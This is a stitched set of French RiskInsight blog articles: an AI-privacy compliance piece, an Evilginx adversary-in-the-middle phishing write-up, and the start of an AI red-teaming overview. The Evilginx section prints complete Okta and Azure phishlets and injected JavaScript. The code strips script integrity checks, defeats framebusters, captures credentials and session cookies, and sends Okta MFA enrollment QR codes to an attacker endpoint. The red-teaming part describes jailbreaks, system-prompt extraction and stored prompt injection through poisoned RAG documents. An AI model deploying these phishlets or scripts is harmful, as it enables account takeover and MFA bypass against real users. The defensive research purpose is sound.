  • Les outils d’IA donnent accès à une vaste base de connaissances, qu’elle soit interne ou externe, et permettent des recherches plus rapides. La conformité peut être atteinte plus rapidement et avec plus de précision.
  • Ces outils permettent également d’assurer la cohérence au sein de l’organisation sur la manière de traiter les sujets privacy (en s’appuyant sur un RAG commun). La conformité sera plus cohérente au sein de toutes les entités.
• Automatisation partielle : L’automatisation complète n’est pas l’objectif en matière de privacy en raison de la nature sensible des informations impliquées. Les solutions d’IA en privacy sont plus adaptées en tant qu’outils de support plutôt qu’en tant qu’outils de remplacement complet. C’est pourquoi la plupart des éditeurs développent des fonctionnalités pour des tâches spécifiques exigeant une supervision humaine.

Limites :

• Limites spécifiques aux tâches : De nombreux outils d’IA utilisent des modèles tiers (par exemple, une API directement liée à OpenAI) qui peuvent ne pas être entièrement optimisés pour des tâches spécialisées. Lors de la sélection d’une solution d’IA, il est important de vérifier le modèle et les données d’entraînement, et d’opter pour des plateformes qui utilisent des modèles propriétaires axés sur la confidentialité des données pour des résultats plus fiables.
• Risques de sécurité : L’augmentation de la connectivité et la demande de personnalisation peuvent introduire des risques de sécurité, affectant potentiellement l’intégrité et la confidentialité des données. Il est conseillé de surveiller la manière dont les systèmes d’IA interagissent avec les données pour s’assurer que les informations sensibles ne sont pas accessibles à l’IA.
• Responsabilités des utilisateurs : Il est important de reconnaître que l’utilisation de l’IA comporte des risques inhérents, car ses réponses ne sont pas toujours exactes ou pertinentes. Les utilisateurs doivent garder une perspective critique et vérifier soigneusement tout contenu généré par l’IA avant de l’incorporer dans des documents officiels. Sensibiliser et offrir des conseils sur les meilleures pratiques d’utilisation de l’IA pourrait être bénéfique pour garantir une mise en œuvre responsable et efficace.

Perspectives

L’intelligence artificielle en est encore à ses débuts pour les sujets privacy, et des fonctions plus avancées devraient émerger à l’avenir. Actuellement, les capacités de l’IA sont utilisées comme outils de support pour diverses tâches, opérant généralement sous la supervision humaine pour rationaliser les processus chronophages ou répétitifs. Dans un ou deux ans, d’autres opportunités pourraient apparaître avec le développement d’agents IA (systèmes conçus pour effectuer des tâches de manière autonome pour les utilisateurs ou d’autres systèmes), permettant une personnalisation accrue pour des besoins métiers spécifiques ou des applications générales, ainsi qu’une meilleure précision dans l’exécution de tâches spécifiques. Pour ces raisons, il est conseillé de s’intéresser dès maintenant aux outils d’IA, car ils peuvent permettre de gagner en efficacité sur les sujets opérationnels.

Bien que la personnalisation accrue puisse améliorer le rôle de l’IA dans la privacy et la conformité, elle augmente également la connectivité, ce qui peut poser des risques de sécurité. Il sera nécessaire de relever ces défis pour maintenir l’intégrité et la confidentialité des données.

Enfin, étant donné le développement rapide de l’IA, changer une solution déjà implémentée pourrait ne pas être financièrement judicieux. Néanmoins, il peut être intéressant de le planifier pour 2026 et de contacter votre éditeur pour en savoir plus sur les fonctionnalités disponibles lorsque la technologie des agents IA sera plus mature.

Dans le cadre de notre recherche, nous avons organisé des ateliers d’une heure avec six de ces éditeurs (Dastra, OneTrust, Smart Global Governance, Secure Privacy, Witik et EQS/Privacy Cockpit) afin de mieux comprendre leurs capacités en matière d’IA, leurs développements futurs et la manière dont ils intègrent l’IA dans leurs solutions.

Nous remercions vivement Cyprien Charlaté et Catherine Pigamo pour leur précieuse contribution à la rédaction de cet article.

Cet article Pourquoi est-ce le bon moment d’inclure des outils alimentés par l’IA dans votre stratégie de conformité privacy ? est apparu en premier sur RiskInsight.

Habituellement, les threat actors tentent d’envoyer des documents malveillants tels que des applications HTA ou des documents Office malveillants mais, avec le développement de solutions de sécurité SMTP telles que ProofPoint, le durcissement par défaut d’Office lié aux macros et la sensibilisation accrue au phishing, ces types de techniques sont de moins en moins utilisés.

Aujourd’hui, les attaques de phishing ne visent plus à obtenir un accès direct au réseau interne de l’entreprise, mais plutôt à récupérer l’identité numérique de l’utilisateur : son identité Office365, Google Workspace ou Okta. Cette identité est ensuite réutilisée via des applications SSO jusqu’à ce qu’une porte d’entrée soit identifiée, par le biais d’applications exposées comme Citrix ou un accès VPN.

Pour limiter ce type d’attaques, les entreprises ont commencé à imposer l’utilisation de l’authentification multifacteur (MFA), afin de garantir que, même si un acteur malveillant parvient à récupérer un jeu d’identifiants valides par phishing ou collecte, il ne puisse ni compléter le processus d’authentification ni réutiliser ces identifiants sur une autre application.

Phishing 101

IDP, cookies et phishing

La protection MFA mise en place par les entreprises est un bon moyen de limiter l’impact d’un phishing réussi. En effet, même si l’acteur de la menace récupère les informations d’identification de l’utilisateur, il ne sera pas en mesure d’usurper l’identité de l’utilisateur puisqu’il ne pourra pas valider le MFA.

Cependant, aujourd’hui, le MFA n’est généralement demandé que lors de la première authentification : une fois que l’utilisateur est authentifié auprès du fournisseur d’identité, celui-ci lui fournit une preuve d’authentification qu’il peut transmettre à n’importe quel service. Grâce à cette preuve d’authentification, l’utilisateur n’a pas besoin d’une authentification active supplémentaire et n’a donc pas besoin de revalider le MFA tant que ce ticket est valide.

Dans les IDP web les plus courants comme Azure, Google ou Okta, ce ticket est représenté par les cookies. Lorsque l’utilisateur se connecte à l’IDP pour la première fois, le service renvoie un cookie valable pendant 1 heure, 1 jour ou 2 ans. Avec ces cookies, l’utilisateur peut se connecter à n’importe quel autre service web compatible SSO sans authentification.

En résumé, les cookies IDP de l’utilisateur représentent l’identité numérique de l’utilisateur. Par conséquent, dans une attaque de phishing dont l’objectif principal est d’usurper cette identité numérique de l’utilisateur, l’attaquant tentera de voler les cookies une fois que l’utilisateur aura réussi son authentification.

Evilginx

Evil proxy

Pour voler les cookies, l’attaquant doit être placé dans une position man-in-the-middle au cours du processus d’authentification. Cependant, avec la sécurité TLS imposée dans la majorité des IDP, l’utilisateur aura conscience qu’il se passe quelque chose d’anormal.

C’est là qu’Evilginx entre en jeu. Au lieu d’effectuer une simple attaque de type « man-in-the-middle » en relayant le paquet vers l’IDP, Evilginx crée un proxy malveillant : l’utilisateur ne s’authentifie pas sur accounts.google.com, mais il s’authentifie sur login.evilginx.com :

Je ne prendrai pas plus de temps pour développer le principe de proxy malveillant, car ce sujet est déjà bien documenté sur Internet.

Phislets 101

Par exemple, lors de l’authentification à Azure, les domaines suivants sont utilisés :

• login.microsoftonline.com
• www.microsoftonline.com
• aadcdn.microsoftonline.com

Le problème est que pendant le processus d’authentification, l’IDP redirige l’utilisateur vers des pages spécifiques avec le domaine codé en dur dans la réponse. Par exemple, lors d’un processus d’authentification SAML classique, l’IDP forcera le client à effectuer une requête POST vers un domaine spécifique codé en dur. Par conséquent, même si l’utilisateur a commencé son processus d’authentification sur login.evilginx.com, il sera redirigé vers login.microsoftonline.com au cours du processus d’authentification, ce qui rompt la position de l’homme du milieu.

Evilginx utilise des fichiers de configuration spécifiques connus sous le nom de phishlets pour gérer de tels cas. La configuration du phishlet permet à Evilginx de savoir quel domaine doit être réécrit dans la réponse du serveur. Ainsi, si l’IDP renvoie une réponse telle que :

<form id=”SAML” action=”https://login.microsoftonline.com”>
[…]
</form>
<script>
document.getElementById(“SAML”).click()
</script>

Avec le phishlet, Evilginx saura que le domaine login.microsoftonline.com doit être réécrit et renverra à la cible la page modifiée suivante :

<form id=”SAML” action=”https://login.evilginx.com”>
[…]
</form>
<script>
document.getElementById(“SAML”).click()
</script>

Avec un tel modèle de correspondance et de remplacement, Evilginx est capable de maintenir l’utilisateur dans l’application malveillante même si l’IDP tente de rediriger l’utilisateur vers une page spécifique.

Limites du remplacement automatique

Le remplacement automatique des phishlets Evilginx a ses limites. En effet, il arrive que le serveur n’indique pas directement le domaine en dur dans la page, mais qu’il le construise par le biais d’un script JS.

Dans ce cas, Evilginx n’est pas en mesure de détecter automatiquement le motif du domaine. En tant que concepteurs de phishlets, nous devons alors comprendre comment le script fonctionne et remplacer manuellement la partie construisant le domaine de redirection par une correspondance/un remplacement.

CORS

Dans Okta, le flux d’authentification est basé sur plusieurs scripts JS récupérés sur le domaine oktadcn. Le script construit dynamiquement l’URL de redirection : il prend le nom du locataire Okta et ajoute « okta.com ». Par conséquent, lorsque Okta tente d’atteindre la page spécifique en utilisant le domaine okta.com, il échoue en raison de la protection CORS (tentative d’atteindre okta.com/idp/idx/introspect à partir de evilginx.com) :

En déboguant l’application, il est possible de trouver l’endroit où la construction de l’URL est effectuée et de la modifier en remplaçant le motif correspondant :

Replace: array");var t=
By: array");e.redirectUri=e.redirectUri.replace("okta.com","evilginx.com");var t=

Avec cette simple indication, Evilginx remplacera tout motif correspondant, évitant ainsi la redirection de l’utilisateur en dehors de l’application de phishing.

Intégrité du JS

Lorsque l’on modifie le fichier JS ou tout autre fichier via Evilginx, cela peut causer des problèmes en raison du hash d’intégrité du script :

<script src="https://ok14static.oktacdn.com/assets/js/sdk/okta-signin-widget/7.30.1/js/okta-sign-in.min.js" type="text/javascript" integrity="sha384-EX0iPfWYp6dfAnJ+ert/KRhXwMapYJdnU2i5BbbeOhWyX0qyI4rMkxKKl8N5pXNI" crossorigin="anonymous"/>

En effet, si Evilginx modifie le script okta-signing-widget, son hash ne correspondra pas à celui défini dans le fichier html et l’application refusera de le charger.

Avec Evilginx, nous pouvons également modifier la page html pour supprimer le contrôle d’intégrité :

Replace: integrity="[^"]*"
By: integrity=''

Validation de l’URI de redirection

Le dernier point est la validation de l’URI de redirection. En effet, lors de l’authentification OIDC, le client sera redirigé vers une page dont l’URL est du type :

/oauth2/v1/authorize?client_id=XXXXXX&redirect_uri=https://trial-xxxxx.okta.com[...]

Avec le remplacement automatique de domaine configuré sur Evilginx, le paramètre URI de redirection trial-xxxx.okta.com sera automatiquement changé en trial-xxxxx.evilginx.com.

Cela déclenchera le processus de validation de l’uri de redirection. Le domaine evilginx.com n’ayant pas été configuré du côté d’Okta comme un domaine de redirection valide, Okta affichera l’erreur suivante :

L’URI de redirection est construit dynamiquement par Okta en prenant le domaine de connexion et en ajoutant les paramètres de rappel. Il est donc possible de contourner cette erreur en modifiant le script JS qui construit l’URL et en s’assurant que l’URI de rappel est celui attendu par Okta :

En utilisant Evilginx, il est possible d’utiliser un motif qui sera remplacé pour réinitialiser le redirect_uri à la bonne URI :

Replace: ,l.src=e.getIssuerOrigin()
By: ,l.src=e.getIssuerOrigin().replace("evilginx.com","okta.com")

Replace: var s=(n.g.fetch||h())(t
By: ,l.src=e.getIssuerOrigin().replace("evilginx.com","okta.com")

Phishlets basiques

Okta

min_ver: '3.0.0'
name: 'okta-wavestone'

params:
  - name: okta_orga
    default: ''
    required: true
  - name: redirect_server
    default: https://google.com

proxy_hosts:
  - phish_sub: '{okta_orga}'
    orig_sub: '{okta_orga}'
    domain: okta.com
    session: true
    is_landing: true
    auto_filter: true

  - phish_sub: ok14static
    orig_sub: ok14static
    domain: oktacdn.com
    session: false
    is_landing: false
    auto_filter: true

  - phish_sub: login
    orig_sub: login
    domain: okta.com
    session: false
    is_landing: false
    auto_filter: true

sub_filters:
  - triggers_on: 'ok14static.oktacdn.com'
    orig_sub: ''
    domain: 'okta.com'
    search: 'array"\);var t='
    replace: 'array");e.redirectUri=e.redirectUri.replace("{basedomain}","{orig_domain}");var t='
    mimes: ['application/javascript']

  - triggers_on: '{okta_orga}.okta.com'
    orig_sub: ''
    domain: 'okta.com'
    search: integrity="[^"]*"
    replace: integrity=''
    mimes: ['text/html', 'charset=utf-8']

  - triggers_on: '{okta_orga}.okta.com'
    orig_sub: ''
    domain: 'okta.com'
    search: 'mainScript\.integrity'
    replace: 'mainScript.inteegrity'
    mimes: ['text/html', 'charset=utf-8']

  - triggers_on: 'ok14static.oktacdn.com'
    orig_sub: ''
    domain: 'okta.com'
    search: 'var s=\(n\.g\.fetch\|\|h\(\)\)\(t'
    replace: 't=t.replace("{orig_domain}","{domain}");var s=(n.g.fetch||h())(t'
    mimes: ['application/javascript']

  - triggers_on: 'ok14static.oktacdn.com'
    orig_sub: ''
    domain: 'okta.com'
    search: ',l\.src=e\.getIssuerOrigin\(\)'
    replace: ',l.src=e.getIssuerOrigin().replace("{orig_domain}","{domain}")'
    mimes: ['application/javascript']

  - triggers_on: 'ok9static.oktacdn.com'
    orig_sub: ''
    domain: 'okta.com'
    search: ',l\.src=e\.getIssuerOrigin\(\)'
    replace: ',l.src=e.getIssuerOrigin().replace("{orig_domain}","{domain}")'
    mimes: ['application/javascript']

auth_tokens:
  - domain: '{okta_orga}.okta.com'
    keys: ['idx:always']

credentials:
  username:
    key: ''
    search: '"identifier":"([^"]*)"'
    type: 'json'

  password:
    key: 'passwd'
    search: '(.*)'
    type: 'post'

login:
  domain: '{okta_orga}.okta.com'
  path: '/'

force_post:
  - path: '/kmsi'
    search:
      - {key: 'LoginOptions', search: '.*'}
    force:
      - {key: 'LoginOptions', value: '1'}
    type: 'post'

Azure

name: 'o365-wavestone'
min_ver: '3.0.0'

proxy_hosts:
  - phish_sub: 'login'
    orig_sub: 'login'
    domain: 'microsoftonline.com'
    session: true
    is_landing: true

  - phish_sub: 'www'
    orig_sub: 'www'
    domain: 'office.com'
    session: true
    is_landing:false

  - phish_sub: 'aadcdn'
    orig_sub: 'aadcdn'
    domain: 'msftauth.net'
    session: false
    auto_filter: true
    is_landing:false

auth_tokens:
  - domain: '.login.microsoftonline.com'
    keys: ['ESTSAUTH', 'ESTSAUTHPERSISTENT']
  - domain: 'login.microsoftonline.com'
    keys: ['SignInStateCookie']

credentials:
  username:
    key: 'login'
    search: '(.*)'
    type: 'post'
  password:
    key: 'passwd'
    search: '(.*)'
    type: 'post'

auth_urls:
  - '/common/SAS/ProcessAuth'
  - '/kmsi'

login:
  domain: 'login.microsoftonline.com'
  path: '/'

force_post:
  - path: '/kmsi'
    search:
      - {key: 'LoginOptions', search: '.*'}
    force:
      - {key: 'LoginOptions', value: '1'}
    type: 'post'

  - path: '/common/SAS'
    search:
      - {key: 'rememberMFA', search: '.*'}
    force:
      - {key: 'rememberMFA', value: 'true'}
    type: 'post'

Automatiser les actions critiques

Ajouter un nouvel appareil au MFA

Une fois qu’un attaquant est en mesure de récupérer un accès initial à la session de l’utilisateur, il doit mettre en place une persistance de l’accès car les cookies ont une durée de validité limitée.

Cela se fait généralement en ajoutant un nouvel appareil au MFA associé au compte de l’utilisateur.

Par exemple, sur Azure, l’ajout d’un dispositif MFA ne nécessite pas de réauthentification ou de validation MFA. Ainsi, tant que l’attaquant a accès à la session utilisateur, il peut directement enregistrer son dispositif MFA malveillant.

En revanche, sur certaines plateformes d’identification comme Okta, l’enregistrement d’un MFA exige une validation MFA préalable. Même si un attaquant parvient à compromettre la session Okta de l’utilisateur, il ne pourra pas ajouter un dispositif MFA directement.

Il pourrait être intéressant d’ajouter cette étape de réauthentification dans le scénario d’attaque par phishing :

1. L’utilisateur s’authentifie une première fois pour accéder à sa session
2. Evilginx vole les cookies de session
3. Evilginx effectue des appels API automatiques pour déclencher l’enregistrement de l’appareil MFA en arrière-plan
4. L’utilisateur revalide son MFA, pensant que la première tentative a échoué
5. Evilginx intercepte le QR Code MFA, permettant à l’attaquant de finaliser l’enregistrement de son propre appareil

Toutes ces actions peuvent être automatisées via Evilginx en modifiant les scripts JS.

Dans un premier temps, Evilginx interceptera la redirection effectuée à la fin de la première authentification, et redirigera l’utilisateur vers une fausse page contrôlée par l’attaquant.

  - trigger_domains: ['{okta_orga}.okta.com']
    trigger_paths: ['/app/UserHome']
    script: |
  if(document.referrer.indexOf('/enduser/callback') != -1){document.location = 'https://'+window.location.hostname+'/help/login'}

Ce script sera injecté uniquement dans la page /app/UserHome et ne sera déclenché que lorsque cette page est accédée depuis /enduser/callback. Cela garantit que l’utilisateur est redirigé vers une page de leurre uniquement une fois que le premier processus d’authentification est terminé. Dans ce cas précis, la page de leurre est la page /help/login d’Okta. Cette redirection vers une page de leurre est indispensable, sinon l’utilisateur reste bloqué dans une boucle de redirection infinie à la fin de son authentification.

Ensuite, un nouveau code JS est ajouté à la page /help/login. Ce script permet d’énumérer les technologies MFA disponibles et configurées :

  - trigger_domains: ['{okta_orga}.okta.com']
    trigger_paths: ['/help/login']
    script: |
      function u4tyd783z(){
        fetch('/api/v1/authenticators')
        .then((data) => {
            data.json().then((jData)=>{
                let id = undefined
                for(let elt of jData){
                    if(elt.key == 'okta_verify'){
                        id = elt.id
                    }
                }
                if(id == undefined){
                    return
                }
                console.log('https://'+window.location.hostname+'/idp/authenticators/setup/'+id)
                document.location = 'https://'+window.location.hostname+'/idp/authenticators/setup/'+id
            })
        })
      }
      u4tyd783z();

Le script sélectionne la méthode d’authentification “Okta Verify” et redirige l’utilisateur vers la page de configuration.

Sur cette page de configuration, un nouveau script JS est injecté. Ce script automatise les étapes d’enregistrement afin de ne laisser visible que le formulaire de validation MFA :

- trigger_domains: ['{okta_orga}.okta.com']
    trigger_paths: ['/idp/authenticators/setup/.*']
    script: |
      function u720dhfn2(){
        if(document.querySelectorAll('.button.select-factor.link-button').length > 0){
            document.querySelectorAll('.button.select-factor.link-button')[0].click()
            document.querySelectorAll('body')[0].style.display = 'none'
            a = true
        }
        if(document.querySelectorAll('a.orOnMobileLink').length > 0){
            document.querySelectorAll('a.orOnMobileLink')[0].click()
            b = true
        }
        if(document.querySelectorAll('img.qrcode').length > 0){
            fetch("{qrcode_sink}", {
              method: 'POST',
              body: JSON.stringify({code: document.querySelectorAll('img.qrcode')[0].getAttribute('src')})
            }).then(()=>{
              document.location='{redirect_server}'
            }).catch(()=>{
              document.location='{redirect_server}'
            })

            clearInterval(myInterval)
        }
      }
      var a = false
      var b = false
      var myInterval = setInterval(function(){u720dhfn2()}, 10)

Une fois que l’utilisateur a validé l’authentification MFA, le script repère le QR Code affiché et l’exfiltre via une requête HTTP.

L’attaquant peut alors récupérer ce QR Code et enregistrer son propre appareil.

Aller plus loin

Okta avec l’authentification Azure

Certaines entreprises associent deux fournisseurs d’identité (IdP) : Okta redirige vers Azure et crée automatiquement le compte utilisateur lors de la première connexion.

Cette configuration est particulièrement intéressante pour un attaquant, car elle lui permet d’exfiltrer les sessions Azure et Okta à l’aide d’un seul phishing.

Pour ce faire, les deux phislets précédents doivent être fusionnés afin de capturer les deux processus d’authentification. L’essentiel est de s’assurer qu’Okta redirige vers le domaine Azure Evilginx, et non vers login.microsoftonline.com.

Heureusement, cette redirection est effectuée via un formulaire HTML en clair qui est soumis automatiquement dans la réponse d’Okta :

<form id="appForm" action="https://login.microsoftonline.com/7ee59529-c0a4-4d72-82e4-3ec0952b49f4/saml2" method="POST">[...]</form>

Comme le domaine Azure est codé en dur dans le HTML, Evilginx peut le remplacer

De même, une fois l’authentification terminée chez Microsoft, la redirection vers Okta peut être interceptée, et Evilginx peut substituer le domaine Okta réel par son équivalent malveillant, permettant ainsi la récupération du cookie de session Azure.

En résumé, dans cette configuration spécifique, il est possible de simplement fusionner les deux phislets précédents.

Frame buster

De plus en plus d’utilisateurs vérifient l’URL d’authentification avant de saisir leurs identifiants. Pour contourner cette vérification, il est possible d’utiliser la technique dite du “Browser-in-Browser”.

L’idée est d’intégrer l’application de phishing dans une iframe et de construire une fausse interface ressemblant à une fenêtre Chrome autour de cette iframe, afin de faire passer cette dernière pour une pop-up légitime.

Étant donné que l’apparence de la fenêtre est entièrement recréée, il devient possible d’y afficher une fausse adresse. Dans la figure ci-dessous, un formulaire Google est intégré via une iframe mais donne l’impression d’une véritable pop-up:

Le principal problème ici est que la plupart des formulaires d’authentification des fournisseurs d’identité (IdP) mettent en œuvre plusieurs techniques pour empêcher leur intégration dans une iframe. Ces techniques sont appelées framebusters.

Bien qu’Okta ne semble pas appliquer de telles protections, le formulaire d’authentification d’Azure contient de nombreuses fonctionnalités qui cesseraient de fonctionner s’il était intégré dans une iframe.

Self == top

La technique de framebuster la plus simple consiste à vérifier si la frame actuelle est la frame principale (top frame), ce que Microsoft implémente. Si le formulaire d’authentification détecte qu’il n’est pas affiché dans la frame principale, il refuse de s’afficher.

Avec Evilginx, il est possible de désactiver cette vérification à l’aide d’un simple modèle de correspondance et de remplacement (match & replace) :

Replace: if(e.self===e.top){
By: if(true){window.oldself=e.self;e.self=e.top;

Cette modification permet de faire passer l’iframe pour la frame principale (top frame), contournant ainsi la protection.

Target=”_top”

La technique suivante consiste à forcer la soumission du formulaire à rediriger la top frame. Ainsi, si le formulaire est soumis dans une iframe, la redirection s’appliquera non seulement à cette iframe, mais à toute la page, ce qui casse l’effet “Browser-in-Browser”.

Cela peut être réalisé en ajoutant l’attribut target= »_top » au formulaire. Il est ensuite possible de désactiver cette protection avec Evilginx :

Replace: method="post" target="_top"
By: method="post"

Framework specific

Microsoft utilise un framework spécifique pour ses applications. Ce framework n’implémente pas à proprement parler de techniques de framebusting, mais son fonctionnement interne rend son intégration dans une iframe particulièrement complexe.

Une des limitations principales apparaît au moment où le framework tente d’envoyer des données à une URL construite à partir du domaine de la top frame. Ainsi, au lieu d’envoyer les données à login.evilginx.com, elles sont envoyées à my-phishing-app.com, ce qui interrompt complètement le processus d’authentification.

Pour modifier cette adresse, il n’est pas possible de simplement remplacer le domaine par celui du site de phishing comme cela a été fait précédemment. Il est nécessaire de comprendre le fonctionnement du framework afin de modifier manuellement cette valeur au niveau de l’élément racine :

Replace: autoSubmit: forceSubmit, attr: { action: postUrl }
By: autoSubmit: forceSubmit, attr: { action: \\'/common/login\\'}

HTTP header

La dernière technique de framebusting repose sur l’en-tête HTTP X-Frame-Options: DENY, qui indique au navigateur que l’application ne peut pas être affichée dans une iframe.

Il est possible de supprimer cet en-tête à l’aide d’Evilginx :

Replace: X-Frame-Options: DENY
By: Test: Test

Final phishlet

The following video shows an example of browser in browser phishing on a company using Okta/Azure. The attacker will be able, in a single phishing to:

• Retrieve the Azure credentials
• Retrieve the Azure cookies
• Retrieve the Okta cookies
• Retrieve the MFA enrollment QRCode for Okta

La vidéo suivante présente un exemple d’attaque par phishing de type “Browser-in-Browser” ciblant une entreprise utilisant Okta et Azure. Lors d’un seul et unique phishing, l’attaquant est capable de :

• Récupérer les identifiants Azure
• Récupérer les cookies de session Azure
• Récupérer les cookies Okta
• Récupérer le QR Code d’enrôlement MFA pour Okta

Exemple d’attaque par phishing de type “Browser-in-Browser” ciblant une entreprise utilisant Okta et Azure

L’évolution des techniques de phishing, illustrée par des outils tels qu’Evilginx, révèle une transformation significative des menaces informatiques : il ne s’agit plus uniquement d’exfiltrer des identifiants, mais de détourner des sessions authentifiées dans leur intégralité. En adoptant une posture d’« homme du milieu » (Adversary-in-the-Middle, AiTM), Evilginx est en mesure d’intercepter et de manipuler les échanges entre l’utilisateur et les services légitimes, contournant ainsi les mécanismes traditionnels d’authentification multifacteur (MFA).

Cette capacité ne constitue toutefois qu’un aperçu des possibilités offertes par l’outil. Evilginx peut être ajusté pour automatiser des actions critiques telles que l’enregistrement d’un dispositif MFA, contourner des protections comme les framebusters et garantir un accès persistant à la session utilisateur.

La seule mesure réellement efficace pour réduire les attaques par phishing consiste à déployer des mécanismes d’authentification multifacteur résistants au phishing, tels que les clés FIDO, au minimum pour les comptes administrateurs.

Cet article Phishing : Evilginx poussé à ses limites est apparu en premier sur RiskInsight.

Aujourd’hui, les impacts sont limités car la latitude donnée au système d’IA est encore faible. Demain, avec l’essor de l’IA agentique, l’accélération de l’adoption de l’IA générative et la multiplication des usages, les impacts augmenteront. A l’instar des failles exploitées massivement par le rançongiciel WannaCry en 2017, des attaques cyber majeures auront certainement lieu sur les systèmes d’IA et pourraient se traduire par des blessés ou des faillites financières.

Ces risques, ils s’anticipent. Un des moyens les plus pragmatiques d’y arriver, c’est d’endosser le rôle d’une personne malveillante en tentant de détourner un système d’IA pour étudier sa robustesse. Cela permet de mettre en lumière les failles du système et la façon de les corriger. Spécifiquement dans le cas de l’IA générative, cette discipline est appelée RedTeaming IA. Dans cet article, nous vous proposons d’en découvrir les contours. Nous insisterons particulièrement sur nos retours terrains concernant les principales vulnérabilités rencontrées.

Afin d’être au plus proche de ce qui se fait sur le marché, l’article se concentre exclusivement sur le RedTeaming de systèmes d’IA générative.

La GenAI, comment ça marche ?

La GenAI s’appuie sur des composants qui sont souvent distribués entre des environnements cloud et on-premise. Généralement, plus un système d’IA générative offre de fonctionnalités (rechercher des informations, lancer des actions, exécuter du code, etc.), plus les composants sont nombreux. D’un point de vue cybersécurité, cela expose à de multiples risques :

 Schéma d’un système d’IA générative et des problématiques soulevées par composant

En règle générale, un attaquant n’a uniquement accès qu’à une interface Web sur laquelle il peut interagir (cliquer, écrire du texte sur des champs, …). A partir de là, il peut :

• Mener des attaques de cybersécurité classiques (insertion de script malveillant – XSS, etc.) en s’appuyant sur les failles des composants du système d’IA ;
• Mener des attaques d’un genre nouveau, en écrivant en langage naturel pour détourner les fonctionnalités offertes par le système d’IA générative derrière l’interface Web : exfiltration de données, réalisation d’actions malveillantes à l’aide des privilèges du système d’IA générative, etc.

Techniquement, chacun des composants est protégé par la mise en place de mesures de sécurité définies par les processus d’Intégration de la Sécurité dans les Projets. Il est ensuite intéressant, d’évaluer en pratique le niveau de sécurité effectif lors d’un audit Redteam IA.

Le RedTeaming IA, l’art de trouver les failles des systèmes d’IA

Les audits de RedTeaming IA sont similaires aux audits de sécurité classiques. Néanmoins, afin de répondre nouveaux enjeux de la GenAI, ils s’appuient sur une méthodologie, des référentiels et un outillage spécifique. En effet, lors d’un audit RedTeam IA, il s’agit de chercher à contourner le système d’IA générative en réalisant des attaques sur ses composants ou en écrivant des instructions malveillantes en langage naturel. Cette deuxième typologie d’attaque s’appelle le prompt injection, l’art de formuler des requêtes malveillantes à un système d’IA pour en détourner ses fonctionnalités.

Lors d’un audit RedTeam IA, lors des tests d’attaques en langage naturel (propre à l’IA), deux typologies de tests sont réalisées en parallèle :

• Des tests manuels. Ils permettent une phase de reconnaissance en s’appuyant sur des bibliothèques de questions malveillantes consolidées en amont.
• Des tests outillés. Il s’agit généralement d’une IA générative qui attaque le système d’IA générative cible en générant une série de prompts malveillants et en analysant automatiquement la cohérence de la réponse du chatbot. Ils permettent de tester la robustesse du système d’IA sur un grand nombre de scénarios.

Ces tests permettent généralement d’identifier plusieurs vulnérabilités et de mettre en lumière des risques de cybersécurité souvent sous-estimés.

Quelles sont les vulnérabilités les plus rencontrées chez nos clients ?

 Nous avons couvert trois grandes catégories de déploiement chez nos clients :

• Chatbot simple : ces solutions servent principalement à la redirection et au triage des demandes utilisateurs ;
• Chatbot en RAG (Retrieval-Augmented Generation): ces systèmes plus sophistiqués consultent des bases documentaires internes pour enrichir leurs réponses ;
• Chatbot agentique : ces solutions avancées peuvent interagir avec d’autres systèmes et exécuter des actions.

La consolidation des vulnérabilités identifiées lors de nos interventions ainsi que leur criticité relative nous permettent de définir le classement suivant :

Détournement du modèle et génération de contenu illégitime 

Il s’agit du contournement des garde-fous techniques mis en place dans le développement du chatbot afin de générer du contenu offensant, malveillant, ou inadapté. C’est ainsi la crédibilité et la réputation de l’entreprise qui risquent d’être impactées puisqu’elle est responsable de la production de contenu réalisée par son chatbot.

À noter que le contournement des mécanismes de sécurité du modèle cible peut aller jusqu’à un débridage complet. On parle alors de jailbreak du modèle, ce qui le fait basculer dans un mode sans restriction. Ce dernier peut alors produire du contenu hors du cadre souhaité par l’entreprise.

Accès au preprompt

On entend par preprompt l’ensemble des instructions qui alimentent le modèle et le façonne pour l‘utilisation souhaitée. Tous les modèles ont pour consigne de ne pas divulguer ce preprompt sous quelle que forme que ce soit.

Un attaquant parvenant à accéder à ce preprompt voit son attaque facilitée car cela lui permet de cartographier les capacités du modèle du chatbot. Cette cartographie est notamment utile pour les systèmes complexes interfacés avec des APIs ou autres systèmes externes. De plus, l’accès à ce preprompt par un attaquant lui permet de visualiser la manière dont les filtres et limitations du chatbot ont été mis en place, ce qui lui permet de les contourner plus aisément.

Intégration web et intégration des tiers

Les solutions GenAI sont souvent présentées aux utilisateurs au travers d’une interface web. Les activités de RedTeaming AI mettent ainsi régulièrement en lumière des problématiques classiques des applications web, notamment le cloisonnement des sessions utilisateurs ou des attaques visant à les piéger.

Dans le cas de l’agentique, ces vulnérabilités peuvent également affecter des composants de tiers interconnectés au système GenAI.

Fuites de données sensibles

Si les données alimentant la base de connaissance interne d’un chatbot RAG sont insuffisamment consolidées (sélection, gestion, anonymisation, …), les modèles sont susceptibles de révéler involontairement des informations sensibles ou confidentielles.

Cette problématique est connexe aux aspects de gestion des droits, de classification de la donnée, et de durcissement des pipelines de préparation et de transit des données (MLOps).

Injection stockée (stored injection)

En cas d’injection stockée, l’attaquant est en mesure d’alimenter la base de connaissance d’un modèle en y incluant des instructions malveillantes (via un document piégé). Celle-ci servant aux réponses du chatbot, tout utilisateur interagissant avec le modèle et sollicitant ledit document verra sa session compromise (fuite des données d’historique de conversation des utilisateurs, redirections malveillantes, participation à une attaque d’ingénierie sociale, …).

Les documents piégés pourront être particulièrement compliqués à identifier, notamment dans le cas de bases de connaissances larges ou peu maitrisées. Cette attaque est ainsi persistante et furtive.

Mention honorable : parasitisme et explosion des coûts

On parle de parasitisme lorsqu’un utilisateur est en mesure de débrider le chatbot afin d’utiliser pleinement les capacités du modèle, et ce gratuitement. Couplé à une absence de restriction volumétrique, un utilisateur peut réaliser un nombre prohibitif de requêtes, sans lien avec le cas d’usage initial et néanmoins facturés.

De manière générale, certaines des vulnérabilités mentionnées concernent des risques relativement mineurs, dont l’impact métier pour les systèmes d’information (SI) est limité. Néanmoins, avec les avancées des technologies IA, ces vulnérabilités prennent une autre dimension, notamment dans les cas suivants :

• Les solutions agentiques ayant accès à des systèmes sensibles
• Les applications RAG impliquant des données confidentielles
• Les systèmes pour lesquels les utilisateurs ont la main sur les documents de la base de connaissance, ouvrant la porte aux injections stockées

Les systèmes GenAI testés sont débridables en très large majorité, bien que l’exercice se complexifie avec le temps. Cette incapacité persistante des modèles à mettre en place des restrictions efficaces incite l’écosystème IA à se tourner vers des briques de sécurité externes.

Quelles nouvelles surfaces d’attaque ?

